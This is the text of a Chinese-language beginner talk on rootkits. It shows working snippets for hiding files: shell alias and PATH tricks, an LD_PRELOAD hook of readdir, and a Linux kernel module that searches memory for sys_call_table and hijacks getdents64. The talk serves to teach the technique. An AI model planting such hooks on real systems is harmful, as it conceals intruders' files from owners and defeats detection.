

# Rootkit 101 - 僅適合新手的 rootkit

cmj @ 2015.07.19

## 適合新手

- 如果你會寫 **rootkit** - 你可能太晚聽了～
- 如果你沒用過 **Linux** - 你可能太早聽了～

## 內容 - 這次獻給大家的～

- ✿ 根據經驗，我所看過的 **rootkit**
- ✿ 延伸 **rootkit** 原本的概念
- ✿ 概念性的 **rootkit**

能不能用，我也不知道>.^

# WARNING

投影片內容可能包含不適合您閱讀的成人文章，請確定擁  
有足夠的心智與判斷能力，了解並分析接下來的內容是否  
正確與合法。本著作的作者不負擔任何您，因本著作而衍  
伸的任何法律問題：包含但不限於因任意文字的排列組合  
與圖示造成心智與／或財產的損失。

在開始之前，讓我們欣賞～

# 電影：我是誰





# 我是誰：沒有絕對安全的系統

德國電影

# rootkit - wiki

**Rootkit**是指其主要功能為：隱藏其他程式行程的軟體，可能是一個或一個以上的軟體組合；廣義而言，**Rootkit**也可視為一項技術。

# 竊改 & 隱藏

```
cmj@cmjs-Mac-Mini.local: ~ $ ls
Applications
Desktop
Documents
Downloads
Library
Movies
Music
Pictures
Public
comic.py
junkProject
lkm.c
session.cgi
test
test.py
資源庫 替身
cmj@cmjs-Mac-Mini.local: ~ $
```

# Simple Rootkit Design - lv1

- \* 簡單的欺騙 User
- \* 替換掉常用的指令
  - \* ls / ps / top / ... etc
- \* 你不需要太多程式技巧

```
cmj@cmjMacAir: ~/test $ ls  
HIDDEN  
cmj@cmjMacAir: ~/test $ alias ls='ls | grep -v HIDDEN'  
cmj@cmjMacAir: ~/test $ ls  
cmj@cmjMacAir: ~/test $ /Users/cmj/test █
```

欺騙

簡單，好用，萬解

# Simple Rootkit Design - lv2

- ✿ 替換程式
  - ✿ 需要點程式技巧
- ✿ 方法
  - ✿ 直接替換程式(直接換掉 **binary**)
  - ✿ 寫個 **wrapper**(多疊一層)

```
cmj@cmjMacAir: ~/test $ ls  
HIDDEN ls  
cmj@cmjMacAir: ~/test $ export PATH=~/test:$PATH  
cmj@cmjMacAir: ~/test $ ls  
ls  
cmj@cmjMacAir: ~/test $ which ls  
/Users/cmj/test/ls  
cmj@cmjMacAir: ~/test $ cat ls  
/bin/ls | grep -v HIDDEN  
cmj@cmjMacAir: ~/test $
```

隱藏 (替換)

好用，萬解

# しかし

- ✿ 除非使用者不跟主機直接互動
  - ✿ 明顯的操作上差異
  - ✿ 用起來會怪怪的

回憶一下

```
cmj@cmjs-Mac-Mini.local: ~ $ ls
Applications
Desktop
Documents
Downloads
Library
Movies
Music
Pictures
Public
comic.py
junkProject
lkm.c
session.cgi
test
test.py
資源庫 替身
cmj@cmjs-Mac-Mini.local: ~ $
```

是否感到奇怪

排版 / 顏色 / ... etc

設計點有點難度的 rootkit

# Useful Rootkit Design - lv3

- \* 修改程式底層
  - \* 修改程式的函式庫
- \* 概念
  - \* *strace / dtruss / debugger / ... etc*

來點修養吧～

程式設計師的自我修養：連結、載入、程式庫

# C

- \* C 程式執行的時候，可以：
  - \* 呼叫自己撰寫的邏輯 (**function**)
  - \* 呼叫現成的邏輯 (**Library**)

# C

- \* C 程式執行的時候，可以：
  - \* 呼叫自己撰寫的邏輯 (**function**)
  - \* 呼叫現成的邏輯 (**Library**)
- \* 你會自己寫 **open function** 嘛 ...

```
22 struct dirent *readdir(DIR *dirp) {
23     struct dirent *ret = NULL;
24
25     if (NULL == libc) {
26         if (NULL == (libc = dlopen(TAMPER_LIBC, RTLD_LAZY))) {
27             DEBUG(1, "dlopen %s fail %m", TAMPER_LIBC);
28             goto END;
29         }
30     }
31
32     if (NULL == old_readdir) {
33         if (NULL == (old_readdir = dlsym(libc, "readdir"))) {
34             DEBUG(1, "dlsym readdir fail %m");
35             goto END;
36         }
37     }
38
39     while(1) {
40         ret = old_readdir(dirp);
41         if (ret && 0 == strcmp(ret->d_name, CHEAT)) {
42             continue;
43         }
44         break;
45     }
46
47 END:
48     return ret;
49 }
```

# Shared Library Hook

using LD\_PRELOAD

```
cmj@cmj.tw: ~/rootkit $ ls  
lv3.c lv3.o lv3.so Makefile README.md  
cmj@cmj.tw: ~/rootkit $ env LD_PRELOAD=./lv3.so ls  
lv3.c lv3.o lv3.so Makefile README.md  
cmj@cmj.tw: ~/rootkit $
```

---

```
cmj@cmj.tw: ~/rootkit $ echo $LD_PRELAD  
/home/cmj/rootkit/lv3.so  
cmj@cmj.tw: ~/rootkit $ ls  
lv3.c lv3.o lv3.so Makefile README.md  
cmj@cmj.tw: ~/rootkit $
```

## LD\_PRELOAD Hook

好用，但不理解

休息一下~

朕不給你，你不能搶！

*rootkit* 的世界

# 基本概念

劫持

- ✿ 指令
- ✿ 資料
- ✿ `syscall`



Other Idea ?

依然是劫持 `ls`

- ♣ 如果你看到的資料其實不是你看到的
- ♣ FUSE (File system in USEr space)

啊～再深一點～～

如果就根本上 (OS) 資料就不存在 · · ·

# Kernel-Level Rootkit

# Program Bugs

## User-Space

- ❖ crash - Segment Fault / Abort
- ❖ core-dump

## Kernel-Space

- ❖ Call-Trace

Robust is more important than you expected

# Kernel Rootkit Design - lv4

1. 開發環境
2. 決定 rootkit 的核心技巧
3. 開發與除錯

# Kernel Rootkit Design - lv4

2. 決定 rootkit 的核心技巧

# Hook Syscall

# Hook Syscall

流程

- ✿ 找到 `syscall_table`
- ✿ 窃改呼叫的 `callback function`

# *sys\_call\_table*

1. Easily way
2. Normal way
3. Violent way

# *sys\_call\_table*

1. Easily way - Find it out in System.map
2. Normal way
3. Violent way

```
CHROOT@ds.qoriq[/source/linux-2.6.32]# cat System.map | grep sys_call_table  
c0007398 T sys_call_table  
CHROOT@ds.qoriq[/source/linux-2.6.32]#
```

# System.map

# *sys\_call\_table*

1. Easily way - Find it out in System.map
2. Normal way - Dump on /proc/kallsyms
3. Violent way

```
cmj>
cmj> cat /proc/kallsyms | grep sys_call_table
c0007398 T sys_call_table
cmj>
```

/proc/kallsyms

# **sys\_call\_table**

1. Easily way - Find it out in System.map
2. Normal way - Dump on /proc/kallsyms
3. Violent way - Force search all kernel-level memory

```
23 void **find_sys_call_table(int label, void *fn) {  
24     unsigned long start = 0xC0000000;  
25     unsigned long *addr = NULL;  
26  
27     while(start <= 0xF0000000) {  
28         addr = (unsigned *)start;  
29         if (addr[label] == fn) {  
30             goto END;  
31         }  
32         start += sizeof(void *);  
33     }  
34 END:  
35     return (void **)start;  
36 }  
37
```

18

## Brute-Force Search

假設我們找到 `syscall_table`

# `syscall_table`

實作上

- \* `syscall_table` 是一個 `function pointer` 陣列
- \* 根據 `syscall` 編號依序排列

```
38 static int __init lkm_init(void) {
39     int iRet = -1;
40
41     DEBUG("LKM init");
42     if (NULL == (sys_call_table = find_sys_call_table(__NR_close, sys_close))) {
43         DEBUG("Cannot find sys_call_table");
44         goto END;
45     }
46
47     old_sys_getdents64 = sys_call_table[__NR_getdents64];
48     sys_call_table[__NR_getdents64] = sys_getdents64;
49
50     iRet = 0;
51 END:
52     return iRet;
53 }
54 static void __exit lkm_exit(void) {
55     DEBUG("LKM exit");
56     if (sys_call_table) {
57         sys_call_table[__NR_getdents64] = old_sys_getdents64;
58     }
59 }
60
61 module_init(lkm_init);
62 module_exit(lkm_exit);
```

19

# Hook getdent64

挫折  $\star\star n$

可不可以頂到肺～

# BIOS rootkit design - lv5

# BIOS rootkit design - lv5

我要很誠實的說：我不會

而且今天是 rootkit - 101，講 BIOS 就太誇張了～

Thanks for your attention ~

Q & A